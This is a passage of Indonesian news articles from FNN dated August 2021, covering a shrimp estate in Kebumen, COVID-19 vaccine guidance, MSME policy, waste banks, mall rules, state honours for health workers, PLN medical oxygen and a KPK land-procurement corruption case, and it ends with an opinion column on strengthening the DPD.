bentuk model shrimp estate ini, ke depan pembangunan kawasan budi daya udang dapat dikelola secara modern dan baik, lalu ada standar kualitas seperti instalasi, kualitas air, kualitas kawasan pesisirnya, serta di depan lokasi shrimp estate harus penuh dengan hutan mangrove agar tidak terjadi abrasi. "Harus jadi inspirasi bahwa pembangunan bisa dihasilkan dari kolaborasi pemerintah pusat dan daerah seperti ini. Terlebih di pesisir nantinya kita bisa menurunkan tingkat kemiskinan masyarakat pesisir," kata Menteri Kelautan dan Perikanan. Ia mengemukakan Kabupaten Kebumen memiliki potensi untuk pengembangan budi daya udang vaname melalui skema kawasan budi daya tambak udang terintegrasi. Harapannya melalui kerja sama ini, Kabupaten Kebumen menjadi pelopor budi daya udang yang modern di Indonesia dengan hasil produktivitas dan kualitas yang tinggi. Shrimp estate sendiri merupakan skema budi daya udang berskala besar di mana proses hulu hingga hilir berada dalam satu kawasan. Proses produksinya didukung oleh teknologi agar hasil panen lebih optimal, mencegah penyakit, serta lebih ramah lingkungan yang sesuai dengan konsep budi daya terintegrasi yakni dengan pendekatan konsep hulu-hilir, korporasi perikanan budi daya berbasis kawasan dan zero waste. Setelah penandatanganan perjanjian kerja sama pengembangan shrimp estate di Kebumen ini, ground breaking atau pencanangan tiang pertama kawasan tersebut rencananya dilakukan pada Desember 2021. "Ini menjadi suatu kebanggaan bagi Kabupaten Kebumen. Kami akan berkomitmen dalam pembangunan shrimp estate ini sehingga dapat bermanfaat bagi masyarakat," kata Bupati Kebumen Arif Sugiyanto. Indonesia selama kurun waktu 2015-2020 berkontribusi terhadap pemenuhan pasar udang dunia sebesar 6,9 persen. (mth)

CDC AS Sarankan Ibu Hamil Divaksin COVID-19

Washington, FNN - Ibu hamil sebaiknya disuntik vaksin COVID-19, kata Pusat Pencegahan dan Pengendalian Penyakit AS (CDC), Rabu (11/8), mengutip analisis baru yang menunjukkan tidak ada peningkatan risiko keguguran.​​​​​​​ CDC mengklaim tidak menemukan adanya risiko pada ibu hamil dalam analisis itu, juga analisis sebelumnya. Mereka mengatakan tingkat keguguran setelah vaksinasi sama dengan yang diprediksikan. Ibu hamil dapat menerima satu dari tiga vaksin COVID-19 yang mengantongi izin darurat, yakni Pfizer, Moderna atau Johnson & Johnson. CDC sebelumnya tidak menyarankan para ibu hamil disuntik vaksin dan mengatakan bahwa mereka harus berkonsultasi tenaga medis sebelum menjalani vaksinasi. Sascha Ellington, ketua tim Siaga dan Tanggap Darurat di Divisi Kesehatan Reproduktif CDC, mengatakan bahwa tingkat vaksinasi pada ibu hamil rendah, hanya 23 persen dari mereka yang sudah menerima minimal satu dosis vaksin. "Kami ingin meningkatkan itu," kata Ellington, seraya menambahkan bahwa CDC sedang menyusun strategi agar dokter kandungan dan ginekolog menjadi penyedia vaksin. "Kami ingin perempuan terlindungi. Kami tidak melihat sinyal keamanan apa pun sehingga khasiat vaksin benar-benar lebih besar ketimbang potensi atau risiko yang tidak diketahui." Kehamilan meningkatkan risiko​​​​​​​ sakit parah akibat COVID-19, kata CDC, dan penyakit itu selama kehamilan meningkatkan risiko kelahiran prematur pada bayi. CDC kini merekomendasikan semua orang berusia 12 tahun ke atas agar divaksin COVID-19, termasuk ibu hamil, ibu menyusui dan calon ibu hamil. "Kami menyadari adanya mitos terkait kesuburan yang beredar. Mitos tidak berdasarkan pada bukti apa pun. Tidak ada sains yang mendukung itu," kata Ellington. "Kami harap (pedoman) ini membantu." Pedoman baru itu dirilis ketika kasus dan pasien rawat inap di seluruh negeri melonjak dalam sebulan terakhir. Sejumlah rumah sakit di Arkansas, Florida, Louisiana dan Mississippi kehabisan tempat tidur dan wabah merembet dari episenturm di AS selatan ke negara bagian Oregon dan Washington. (mth)

Menteri Teten Ajak Bergandengan Tangan Dukung Kemajuan UMKM

Jakarta, FNN - Menteri Koperasi dan UKM Teten Masduki mengatakan tidak ada bentuk selebrasi peringatan Hari Usaha Mikro Kecil dan Menengah (UMKM) Nasional tahun 2021 daripada komitmen untuk saling bergandengan tangan. “(Kita harus) beruntun, berurun rembuk, berurun daya, berkonsolidasi untuk berjuang beriringan demi pahlawan ekonomi bangsa, para UMKM,” ujar MenkopUKM Teten Masduki dalam pertemuan puncak peringatan Hari UMKM Nasional secara daring, Jakarta, Kamis. Dalam peringatan Hari UMKM Nasional tahun 2021, Teten Masduki juga menyampaikan kondisi dan posisi UMKM sebagai navigasi untuk melangkah bersama memperkuat serta memajukan sektor tersebut. Dia menyatakan 99 persen pelaku UMKM masih didominasi oleh usaha mikro dan berusaha dalam skala kecil serta informal. Per 30 Juni 2021, baru 2,6 juta UMKM yang terdata di Online Single Submission (OSS) atau sistem perizinan online terpadu untuk mempermudah kegiatan berusaha. Sementara itu per 5 Mei 2021 porsi kredit UMKM masih Rp1.000 triliun atau 20 persen dari total kredit keseluruhan pelaku usaha, termasuk usaha besar, senilai Rp5.576 triliun. Selanjutnya baru 22,7 persen UMKM yang hadir dalam ekosistem digital atau sekitar 14,6 juta pelaku usaha. Meski angka pertumbuhan ekonomi kuartal II mencapai 7,07 persen yoy, ungkap Teten, adanya penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di kuartal II dan III akan menghadirkan tantangan bagi aktivitas usaha. “Di sinilah tema tantangan pandemi dan strategi transformasi UMKM masa depan menjadi tak hanya relevan, namun sangat krusial bagi UMKM saat ini,” kata Teten Masduki. Lebih lanjut Teten menerangkan upaya pemerintah untuk meredam tantangan pandemi, di antaranya Program Pemulihan Ekonomi Nasional (PEN) tahun 2021 yang 21 persen atau Rp161,2 triliun anggarannya dialokasikan untuk UMKM. Selain itu ada Bantuan Presiden (Banpres) Produktif untuk 12,8 juta usaha mikro dan tambahan subsidi bunga KUR 3 persen dengan anggaran sebesar Rp3,45 triliun. "Seiring daya upaya dan kerja bersama dalam terus memitigasi dampak pandemi bagi UMKM, saya berharap kesempatan ini pula dapat kita manfaatkan untuk mempersiapkan kebangkitan UMKM Indonesia untuk meraja dan mengangkasa kembali. Sembari (pula) beradaptasi di tengah disrupsi pandemi mempersiapkan transformasi UMKM masa depan,” kata Teten Masduki. (mth)

Wapres: Digitalisasi UMKM Strategis untuk Pemulihan Ekonomi

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengatakan sistem digital bagi usaha mikro kecil dan menengah (UMKM) menjadi strategis untuk dikembangkan oleh pelaku usaha untuk mendorong pemulihan ekonomi nasional dan tetap bertahan di masa disrupsi pandemi COVID-19. "Pada era disrupsi ini, digitalisasi semakin relevan dan strategis bagi UMKM untuk tetap bertahan dan berperan sebagai penggerak utama pemulihan ekonomi," kata Wapres pada peringatan Hari UMKM Nasional Tahun 2021 secara daring, Kamis. Digitalisasi terhadap kegiatan UMKM juga harus diimbangi dengan peningkatan kapasitas sumber daya manusia (SDM) pelaku usaha dan dukungan kebijakan akses pasar bagi produk-produk domestik, kata Wapres. Bencana kesehatan pandemi COVID-19, yang ikut berdampak di sektor ekonomi, juga memberikan efek positif bagi pengembangan UMKM. "Pandemi memang telah menghantam sebagian besar bisnis UMKM. Namun pandemi juga membawa dampak positif, salah satunya mempercepat digitalisasi UMKM," tambahnya. Oleh karena itu, Wapres mengajak seluruh pelaku UMKM dan pemangku kepentingan terkait untuk meningkatkan komitmen bersama dalam melakukan pembinaan dan pendampingan guna mendorong produktivitas UMKM. "Dengan demikian UMKM mampu meningkatkan kapasitas produksi serta kualitas produknya serta mendukung fasilitas kemudahan pembiayaan dan kolaborasi dengan usaha besar," jelas Wapres. Sementara itu, Menteri Koperasi dan Usaha Kecil dan Menengah (Menkop dan UKM) Teten Masduki mengatakan pelaku usaha yang hadir dalam ekosistem digital masih rendah, yakni hanya sebesar 22,7 persen atau setara dengan 14,6 juta pelaku usaha. "Baru 22,7 persen UMKM yang hadir dalam ekosistem digital atau 14,6 juta pelaku usaha," kata Teten. Oleh karena itu, Teten berharap berbagai program bantuan dari Pemerintah dapat memperbaiki ekosistem UMKM untuk semakin berkembang dan mendorong pertumbuhan ekonomi nasional. "Upaya Pemerintah untuk meredam pandemi dihadirkan melalui beberapa langkah, seperti total anggaran PEN 2021 sebanyak 21 persen atau Rp161,2 triliun dialokasikan untuk dukungan UMKM," ujar Teten. Teten juga berharap momen peringatan Hari UMKM Nasional Tahun 2021 dapat menjadi kesempatan untuk membangkitkan kembali upaya transformasi UMKM untuk masa mendatang. "Saya berharap kesempatan ini dapat kita manfaatkan untuk mempersiapkan kebangkitan UMKM Indonesia untuk merajai dan mengangkasa kembali sembari beradaptasi di tengah disrupsi pandemi," ujarnya. (mth)

Menteri LHK: Bank Sampah Berperan Penting Membangun Bangsa

Jakarta, FNN - Menteri Lingkungan Hidup dan Kehutanan (LHK) Siti Nurbaya menegaskan bahwa bank sampah memiliki peran penting dalam membangun bangsa dan memberikan dampak nyata di tingkat akar rumput. "Disadari atau tidak, bank sampah berperan penting dalam membangun bangsa ini, di antaranya melalui, pertama, kegiatan bersama di tengah masyarakat dalam menumbuhkan dan melembagakan gaya hidup bersih," ujar Menteri LHK, ketika membuka Rapat Koordinasi Nasional (RAKORNAS) Bank Sampah 2021, yang dipantau virtual di Jakarta, Kamis. Siti juga menegaskan bahwa bank sampah dapat menjadi wahana pendidikan masyarakat dengan pengembangan inisiatif dan inovasi di masyarakat. Di situ juga terdapat kesempatan memberdayakan masyarakat untuk bisa menjadi produktif. Bank sampah, katanya, juga merupakan ruang aktualisasi masyarakat dan kehidupan bermasyarakat, berpermerintahan dan bernegera. Namun, tidak hanya sekadar tempat berkumpul dan bekerja sama, tetapi juga merupakan nilai dalam pengelolaan sampah. Selain itu, menurut Siti, bank sampah di Indonesia juga memiliki nilai gotong royong dan kebersamaan. Dia menjelaskan bahwa bank sampah berperan sebagai organisasi dan tempat aktivitas serta sebagai kegiatan produktif anggota masyarakat yang terus berkembang dan berpartisipasi dalam program negara mengurangi dan mengelola sampah sesuai target nasional dan daerah. "Untuk saat ini dibarengi atau bersamaan dengan berkembangnya konsep sirkular ekonomi," ujar Siti. Menurut data Kementerian Lingkungan Hidup dan Kehutanan (KLHK), sampai saat ini terdapat 11.566 unit bank sampah yang berada di 363 kabupaten/kota di Indonesia. Angka itu menujukan penambahan sekitar 3.500 unit sejak 2016. (mth)

Kemendag Wajibkan Pengunjung Mal Wajib Vaksin

Jakarta, FNN - Kementerian Perdagangan menegaskan syarat wajib vaksin dan penerapan protokol kesehatan bagi pengunjung serta pegawai dan pedagang di pusat perbelanjaan dan mal dalam masa uji coba pembukaan pusat perbelanjaan dan mal yang berlangsung pada 10 Agustus-16 Agustus 2021. “Kementerian Perdagangan telah menetapkan syarat wajib vaksin bagi para pengunjung dan pegawai serta pedagang yang terlibat dalam operasional pusat perbelanjaan dan mal. Vaksinasi syarat wajib yang harus dipenuhi dengan data yang terintegrasi dalam aplikasi PeduliLindungi,” kata Direktur Jenderal Perdagangan Dalam Negeri Oke Nurwan di Jakarta, Kamis. Upaya itu dilakukan untuk menyelamatkan pelaku usaha perdagangan di pusat perbelanjaan dan mal agar bisa kembali berjualan dan tetap bisa mengendalikan penyebaran COVID-19. Bagi yang belum mendapatkan vaksinasi karena alasan kesehatan, lanjutnya, pengunjung dapat menunjukkan hasil negatif tes swab antigen atau PCR. “Pengunjung mal yang belum atau tidak bisa mendapatkan vaksinasi karena alasan kesehatan atau penyintas COVID-19 wajib menunjukkan surat keterangan dari dokter atas kondisi tersebut, bukti tes antigen hasil negatif (maks 1x24 jam) atau tes PCR hasil negatif (maks 2x24 jam) beserta KTP. Hasil tes antigen atau PCR juga harus dilengkapi dengan kode quick response (QR) untuk mempermudah pengecekan,” ungkap Oke. Jadi, kata Oke, syarat wajib vaksin tidak dapat digantikan oleh hasil negatif tes swab antigen atau PCR. Hasil negatif antigen atau PCR hanya diperuntukkan bagi pengunjung yang belum bisa melakukan vaksin karena alasan kesehatan. Menurut dia, semua syarat ini diwajibkan semata- mata untuk mengendalikan penyebaran COVID-19. Selain itu, Oke menekankan kembali agar pengunjung mengunduh dan menggunakan aplikasi PeduliLindungi. "Aplikasi PeduliLindungi ini akan membantu proses pemantauan pergerakan pengunjung dan karyawan di pusat perbelanjaan,” katanya. Uji coba pembukaan pusat perbelanjaan dan mal dilakukan pemerintah bekerja sama dengan Asosiasi Pengelola Pusat Berlanjaan Indonesia (APPBI). Uji coba ini diterapkan di 138 pusat perbelanjaan dan mal di empat kota di Indonesia, yaitu DKI Jakarta sebanyak 85 mal, Bandung 23 mal, Semarang 6 mal, dan Surabaya 24 mal. “Perlu ditekankan bahwa uji coba ini juga ditujukan untuk membangun budaya baru/new normal di tengah pandemi COVID-19. Budaya baru inilah yang harus terus diedukasi ke masyarakat, karena kita belum tahu kapan selesainya pandemi,” ujarnya. Ketua Umum Asosiasi Pengusaha Pusat Perbelanjaan Indonesia (APPBI) Alphonzus Widaja menegaskan, selain persyaratan wajib vaksin, pengunjung pusat perbelanjaan dan mal juga tetap harus melaksanakan protokol kesehatan dasar yang telah diterapkan sebelumnya selama masa pandemi, yaitu bersuhu badan di bawah 37 derajat, memakai masker, mencuci tangan, dan menjaga jarak. “Bagi pengunjung mal yang sudah divaksin tetapi tidak lolos pemeriksaan dan tidak mematuhi protokol kesehatan dasar tetap tidak akan diperbolehkan masuk ke dalam mal. Ini tentunya untuk meminimalisasi penularan,” kata Alphonzus Selain itu, lanjut Alphonzus, penggunaan aplikasi PeduliLindungi saat ini juga dalam tahap adaptasi, baik bagi para pengelola pusat perbelanjaan dan mal maupun masyarakat. “Kami terus berkoordinasi dengan Kementerian Perdagangan dan Kementerian Kesehatan untuk menyempurnakan sistem aplikasi ini sehingga penerapannya di lapangan dapat berjalan semakin lancar,” katanya. Alphonzus berharap, kebijakan uji coba pembukaan ini dapat menghidupkan kembali sektor usaha mikro dan nonformal di sekitar pusat perbelanjaan dan mal. Selama masa uji coba, pusat perbelanjaan dan mal diizinkan beroperasi pukul 10.00—20.00 WIB dengan kapasitas maksimal 25 persen. Anak-anak di bawah usia 12 tahun dan orang tua di atas 70 tahun tidak diperbolehkan masuk. Tempat hiburan seperti bioskop, tempat bermain anak, dan tempat hiburan lainnya juga masih ditutup. (mth)

Jokowi Sematkan Bintang Tanda Jasa Kepada 325 Tenaga Kesehatan yang Gugur Tangani Corona

Jakarta, FNN - Presiden Joko Widodo memberikan tanda kehormatan Bintang Mahaputra Adipradana kepada mantan Ketua Kamar Pidana Mahkamah Agung RI sekaligus bekas anggota Dewan Pengawas Komisi Pemberantasan Korupsi (KPK) Artidjo Alkostar. Bersamaan dengan itu, juga disematkan tanda jasa kepada 325 tenaga kesehatan (nakes) yang gugur saat menangani Covid -19. Masing-masing,, 258 nakes menerima penghargaan. Rinciannya, 105 orang berprofesi sebagai dokter dan 153 orang perawat serta tenaga kesehatan lainnya. Sedangkan 67 nakes gugur mendapatkan Bintang Jasa Nararya. Masing-masing sembilan orang dokter dan 58 perawat serta tenaga kesehatan lainnya. Upacara penyerahan gelar tersebut digelar di Istana Negara, Jakarta, Kamis. Pemberian penghargaan tersebut juga dalam rangkaian Hari Ulang Tahun Kemerdekaan ke-76 Republik Indonesia. Tanda kehormatan Bintang Jasa Pratama diberikan secara simbolik kepada almarhum dr Adnan Ibrahim. Ia dokter pada Balai Besar Kesehatan Paru Masyarakat Kota Makassar, Sulawesi Selatan Sedangkan kepada tenaga perawat diberikan kepada almarhumah Ngadiah, perawat pada RSUP dr Mohammad Hoesin, Kota Palembang, Sumatera Selatan. Penyerahan secara simbolik kepada seluruh nakes tersebut diwaliki oleh keluarga. "Menganugerahkan tanda kehormatan Bintang Mahaputra, Bintang Budaya Parama Dharma, dan Bintang Jasa kepada mereka yang nama, jabatan dan profesinya tersebut dalam lampiran keputusan ini sebagai penghargaan atas jasa-jasanya sesuai ketentuan syarat khusus dalam rangka memperoleh tanda kehormatan Bintang Mahaputra, Bintang Budaya Parama Dharma, dan Bintang Jasa sebagaimana diatur dalam undang-undang," kata Sekretaris Militer Presiden Marsekal Madya TNI M Tonny Harjono di Istana Negara Jakarta, Kamis, 12 Agustus 2021. Penganugerahan tersebut diberikan kepada perwakilan keluarga maupun secara langsung kepada masing-masing penerima bintang jasa oleh Presiden Jokowi. Acara penyerahan disaksikan Wakil Presiden Ma'ruf Amin dan sejumlah menteri Kabinet Indonesia Maju. Tanda kehormatan tersebut diberikan kepada para mantan pejabat negara, pengusaha, ilmuwan, warga negara asing (WNA). Juga disematkan kepada para tenaga kesehatan yang gugur saat menangani COVID -19 berdasarkan Keputusan Presiden No 76, 77, 78/TK/TH Tahun 2021 tertanggal 4 Agustus 2021. Almarhum Soehendro yang diwakili keluarga mewakili tenaga kesehatan yang gugur dalam penanganan Covid-19. Para tenaga kesehatan tersebut diberikan Bintang Jasa Nararya. Total ada 355 penerima bintang jasa yang dihadiri oleh 13 perwakilan penerima tanda kehormatan. Berikut daftar penerima tanda kehormatan tersebut. Tanda kehormantan Bintang Mahaputera Adipradana 1. Almarhum Artidjo Alkostar, Ketua Kamar Pidana Mahkamah Agung RI periode 2009-2018 2. Almarhum I Gede Ardika, Menteri Kebudayaan dan Pariwisata periode 2000-2004 Tanda Kehormatan Bintang Mahaputera Utama 1. Antonius sujata, Ketua Komisi Ombudsman RI 2000-2011 Tanda Kehormatan Bintang Mahaputera Nararya 1. Jacobus Busono, pendiri, pemilik, dan Chairman Pura Group 2. Maradaman Harahap, Anggota Komisi Yudisial periode 2015-2020 Tanda Kehormatan Bintang Budaya Prama Dharma 1. Almarhum Raden Tumenggung Kusumokesowo Tanda Kehormatan Bintang Jasa Utama 1. Almarhum Rusdi Sufi, akademisi dan pemelihara warisan sejarah dan budaya Aceh 2. Goldammer Johann Georg Andreas, ilmuwan berkebangsaan Jerman, Direktur Global Fire Monitoring Center (GFMC) 3. Ishadi Sutopo Kartosaputro, Komisaris Transmedia 4. Eurico Guterres, Ketua Umum Uni Timor Aswa'in (UNTAS) dan Ketua Forum Komunikasi Pejuang Timor Timur Tanda Kehormatan Bintang Jasa Pratama 1. Almarhum dr Adnan Ibrahim, dokter pada Balai Besar Kesehatan Paru Masyarakat Kota Makassar, Sulawesi Selatan 2. Almarhumah Ngadiah, perawat pada RSUP dr Mohammad Hoesin Kota Palembang, Sumatera Selatan Mewakili para tenaga kesehatan yang gugur dalam menangani COVID-19 mewakili 256 penerima lainnya Tanda Kehormatan Bintang Jasa Nararya 1. Almarhum Soehendro, Kepala Bidang Surveilance Epidemiologi Balai Besar Teknik Kesehatan Lingkungan Pengendalian Penyakit Kota Surabaya, Jawa Timur Pemberian tanda kehormatan itu dilakukan oleh Dewan Gelar, Tanda Jasa, dan Tanda Kehormatan berdasarkan Pasal 28 UU Nomor 20 Tahun 2009 tentang Gelar, Tanda Jasa, dan Tanda Kehormatan. (MD).

Erick Thohir Apresiasi Produksi Oksigen Medis oleh PLN

Jakarta, FNN - Menteri BUMN Erick Thohir apresiasi PT Perusahaan Listrik Negara (PLN) atas upaya memproduksi oksigen medis untuk membantu penanganan COVID-19 di Tanah Air. "Saya mengapresiasi upaya PLN dalam memproduksi oksigen medis murni untuk membantu penanganan COVID-19. PLN telah membuat terobosan dari oksigen yang sebelumnya dibuang, lalu diproses sebanyak lima kali secara bertahap, kemudian menjadi oksigen medis murni yang memenuhi ketentuan Kemenkes," kata Menteri BUMN Erick Thohir pada pelunduran Produksi Oksigen PLN Peduli yang digelar secara hibrid, Kamis. Erick Thohir mengatakan Kementerian BUMN juga memberikan apresiasi pada rencana PLN untuk menambah kapasitas produksi oksigen medis murni mencapai dua ton per hari, dari 19 pembangkit di regional Jawa, Madura, dan Bali. Adapun saat ini produksi oksigen medis murni dihasilkan oleh Pembangkit Listrik Tenaga Uap (PLTGU) Muara Karang, Jakarta, yang dikelola oleh unit pembangkitan milik PJB itu sebesar 900 m3 per bulan. Erick Thohir mengatakan Indonesia sebagai bangsa besar harus bangkit dari pandemi COVID-19 melalui inovasi dan kolaborasi dengan semua pihak. "Melalui terobosan inovasi dan kolaborasi dengan banyak kementerian, kita terus bergotong royong mengatasi pandemi ini. Kita harus memastikan bahwa kita hadir untuk melayani rakyat Indonesia," ujar Menteri BUMN Erick Thohir. Dalam kesempatan tersebut Menteri Erick Thohir didampingi Direktur Utama PLN Zulkifli Zaini dan Komisaris Utama PLN Amien Sunaryadi menyerahkan oksigen medis murni secara simbolis kepada Direktur RSUD Pasar Minggu dan RS Islam Jakarta Cempaka Putih. (mth)

KPK Panggil Tiga Saksi Terkait Kasus Pengadaan Tanah Munjul DKI

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis, memanggil tiga saksi dalam penyidikan kasus dugaan korupsi terkait pengadaan tanah di Munjul, Jakarta Timur. Ketiganya dijadwalkan diperiksa untuk tersangka Direktur PT Aldira Berkah Abadi Makmur (ABAM) Rudy Hartono Iskandar (RHI) dan kawan-kawan. "Hari ini, pemeriksaan saksi dugaan tindak pidana korupsi terkait pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Jakarta Timur, DKI Jakarta Tahun 2019 dengan tersangka RHI dan kawan-kawan," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Kamis. Mereka yang dipanggil, yaitu Rafli Akbar Rafsabjani selaku Staf Penilai di KJPP Wahyono Adi dan Rekan serta dua saksi dari pihak swasta Minan dan Parid Ridwan. "Pemeriksaan dilakukan di Kantor KPK Jalan Kuningan Persada Kaveling 4, Setiabudi, Jakarta Selatan," ujar Ali. Selain Rudy, KPK juga telah menetapkan empat tersangka lainnya, yakni mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles Pinontoan (YRC), Direktur PT Adonara Propertindo Tommy Adrian (TA), Wakil Direktur PT Adonara Propertindo Anja Runtuwene (AR), dan satu tersangka korporasi PT Adonara Propertindo (AP). Dalam konstruksi perkara, KPK menjelaskan Rudy meminta Anja dan Tommy melakukan pendekatan pada Yayasan Suster Cinta Kasih Carolus Boromeus dengan kesepakatan penawaran tanah ke Sarana Jaya. Anja bersama Tommy menemui Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus dan menandatangani Perjanjian Pengikatan Jual Beli (PPJB) tanah Pondok Ranggon seluas 41.921 m2 dengan harga Rp2,5 juta/m2, dan saat itu juga langsung disetujui Rudy dengan membayarkan uang muka pertama sebesar Rp5 miliar kepada Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Selanjutnya, Yoory memerintahkan stafnya untuk menyiapkan pembayaran 50 persen pembelian tanah Munjul sebesar Rp108,99 miliar, padahal belum dilakukan negosiasi harga antara Yoory dengan Anja yang mengaku sebagai pemilik tanah. Penandatanganan PPJB dilakukan di Kantor Sarana Jaya antara Yoory dengan Anja, dan di hari yang sama, Sarana Jaya mentransfer 50 persen pembayaran pembelian ke rekening Anja sebesar Rp108,99 miliar. Selanjutnya, dengan menggunakan rekening perusahaan PT Adonara Propertindo, Rudy dan Anja kembali menyetujui dan memerintahkan Tommy mengirimkan dana sebesar Rp5 miliar sebagai uang muka tahap II kepada Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Setelah ditandatangani PPJB dan dilakukan pembayaran sebesar Rp108,9 miliar, Sarana Jaya baru melakukan kajian usulan pembelian tanah di Munjul dengan lebih dari 70 persen tanah tersebut masih berada di zona hijau untuk ruang terbuka hijau (RTH) yang tidak bisa digunakan untuk proyek hunian atau apartemen. Meskipun lahan tersebut tidak bisa diubah zonasinya ke zona kuning, pihak Sarana Jaya tetap melakukan pembayaran sebesar Rp43,59 miliar kepada Anja di rekening Bank DKI atas nama Anja, sehingga total yang telah dibayarkan sebesar Rp152,5 miliar. Atas pembayaran oleh Sarana Jaya tersebut, Rudy meminta Anja dan Tommy untuk mengalirkan dana yang di antaranya digunakan untuk pembayaran BPHTB Pengadaan Tanah Pulogebang pada Sarana Jaya. Kemudian, dimasukkan ke rekening perusahaan lain milik tersangka Rudy dan penggunaan untuk beberapa keperluan pribadi Rudy dan Anja. Atas perbuatan para tersangka tersebut, diduga telah mengakibatkan kerugian keuangan negara sebesar Rp152,5 miliar. (mth)

Menata Parlemen, Menguatkan Peran Civil Society

Oleh: Tamsil Linrung *) CHECK and balances. Dua kata ini acapkali menjadi pemanis dalam diskursus ketatanegaraan. Dengan prinsip saling kontrol dan saling imbang (check and balances) ini, lembaga-lembaga negara atau cabang-cabang kekuasaan dapat menghindari pemusatan kekuasaan yang sewenang-wenang. Semua negara di dunia selalu menerapkan prinsip check and balances. Pun Indonesia. Reformasi politik 1998 yang disusul reformasi konstitusi sebanyak empat kali amandemen UUD 1945 menyepakati diadopsinya prinsip check and balances ke dalam sistem pemerintahan. Tetapi, mekanisme check and balances tentu hanya dapat berjalan jika lembaga negara dimaksud punya kewenangan berimbang. Bila tidak, jangankan saling check, untuk balance saja jelas mustahil. Dari perspektif ini, prinsip check and balances antara Dewan Perwakilan Rakyat (DPR), Dewan Perwakilan Daerah (DPD), dengan lembaga negara lainnya menjadi sulit tercapai karena kewenangan DPD begitu timpang ketimbang yang lain. Padahal, dalam sistem pemerintahan demokratis yang dilaksanakan dengan sistem perwakilan, keberadaan lembaga perwakilan rakyat sangat sentral. DPD dibentuk untuk memperjuangkan aspirasi dan kepentingan daerah. DPD dibentuk juga agar prinsip check and balances dapat berlangsung paripurna. Tentu DPD berusaha maksimal menjalankan amanah ini. Namun dengan kewenangan terbatas, langkah-langkah politik menjadi terbatas pula. Mandat konstitusi kepada DPD hanya sebatas menyarankan, memberi pertimbangan dan dapat ikut serta saja. Konstitusi hanya memberikan fungsi perwakilan kepada DPR, yang tercermin dari kepemilikan fungsi legislasi, pengawasan dan anggaran yang secara kuat dimiliki DPR. Meski DPD juga memiliki fungsi tersebut, namun fungsi yang dimilikinya tidak bersifat otoritatif. Itulah sebabnya keberadaan DPD yang tadinya menjadi lembaga penyeimbang DPR justru hanya menjadi pelengkap dan bahkan subordinat DPR. Padahal, legitimasi anggota DPD sangat kuat karena dipilih oleh rakyat satu provinsi. DPD sebagai kamar kedua tidak memiliki kewenangan memadai untuk mengontrol proses legislasi di DPR. Sebaliknya, DPR sebagai kamar pertama mempunyai kewenangan mengontrol secara penuh usulan RUU. Masalahnya, bukan tidak mungkin terjadi konflik kepentingan antara pemerintah dan partai-partai pendukung pemerintah yang begitu dominan di DPR. Ingatan kita tentu masih segar pada pengesahan UU Omnibus Law yang tempo hari diusulkan pemerintah. Di tengah berbagai kecurigaan rakyat atas proses legislasi UU Omnibus Law yang super kilat itu, DPD tidak bisa berbuat banyak. Ini hanya satu contoh kecil betapa ketiadaan double check antara DPD dan DPR harus dikritisi kembali, sebab konstitusi tegas menyerukan semangat check and balances. Namun kita terpaksa menegasinya karena ketimpangan kewenangan. Penguatan DPD Jawaban persoalan di atas sudah pasti penguatan kewenangan lembaga DPD melalui amandemen kelima UUD 1945. Namun, proses politik ini tidak hanya memerlukan persetujuan politik bersama antara DPR dan DPD, tetapi juga kemampuan melawan ego, syahwat, dan nikmat kekuasaan. Kini, terbuka jalan amandemen kelima menyusul digagasnya rumusan norma Pokok-Pokok Haluan Negara (PPHN) oleh MPR. DPD tentu menyambut baik, dengan tetap mawas terhadap potensi penumpang gelap amandemen. Bila kotak Pandora amandemen sepakat kita buka, sekalian saja mengoptimalisasi konstruksi sistem parlemen yang ada. Kita berharap, DPR dengan segala kesadaran politik dan kerendahan hatinya menyambut baik gagasan itu. Namun, guna mendorong upaya politik ini lebih kencang, DPD perlu merangkul masyarakat sipil, sekaligus memberi jalan agar civil society bertumbuh menjadi faktor penyeimbang di parlemen. Jejaring masyarakat sipil bisa berperan melahirkan reformasi kelembagaan parlemen melalui pergumulan ide, gagasan, dan desakan kepada pemangku kebijakan. Pelibatan masyarakat sipil secara intens, sekaligus menambah energi agar cahaya demokrasi yang mulai meredup kembali berkilau. Bagaimana pun juga, institusi masyarakat sipil masih dipandang sebagai simpul pembela kepentingan rakyat. Artinya, pelibatannya masyarakat sipil secara tak langsung merupakan upaya melebarkan representasi rakyat secara optimal. Syukurnya, DPD belakangan terlihat intens bertukar pikiran dengan mereka. Tak hanya di Ibukota, dalam beberapa kesempatan, Ketua DPD didamping sejumlah Anggota DPD bahkan menyambangi institusi masyarakat sipil dengan melakukan roadshow ke daerah-daerah. Selain menyerap aspirasi daerah, roadshow ini juga menerima masukan urgensi penguatan DPD. Tidak sedikit diantaranya menginginkan strong bikameral, di mana kewenangan DPD sebanding dengan DPR. Pemikiran ini tentu sangat ideal. Namun, pemikiran ideal itu muncul dari harapan masyarakat yang menginginkan DPD melanjutkan perjuangan presidential threshold atau ambang batas pemilihan presiden 0 persen sehingga masyarakat dapat disajikan beragam pilihan calon presiden dan wakil presiden. Selama ini, DPD memang tengah memperjuangkan ambang batas 0 persen. DPD juga menggagas pemikiran calon presiden perorangan atau non partai. Dua cita-cita ini tidak hanya membutuhkan energi besar tetapi juga kewenangan yang memadai. Jadi, kata kuncinya kembali kepada penguatan DPD melalui amandemen UUD 1945. Syukurnya, dukungan masyarakat terlihat besar, baik personal maupun dari organisasi masyarakat sipil. Dukungan ini menjadi support moral bagi DPD untuk bekerja lebih maksimal menuju cita-cita itu. Saran lainnya, ada pula yang mengusulkan agar DPD menjadi satu fraksi di DPR, sebagaimana disampaikan pakar hukum tata negara Dr. Maruarar Siahaan. Ide ini cukup menarik. Jika konstitusi memberi ruang kepada DPD dalam konteks itu, maka segala hak dan kewenangan DPR juga melekat pada DPD, dari soal legislasi hingga hak mengajukan calon presiden dan wakil presiden. Apapun formatnya, yang jelas penataan relasi kerja yang baik dan berimbang antara DPR dan DPD perlu dikaji ulang. Bila tidak, sulit mencapai kinerja parlemen yang efektif. Kata kuncinya ada pada frasa berimbang. Jika dua kamar dalam sistem parlemen bikameral ini dibiarkan terus-menerus 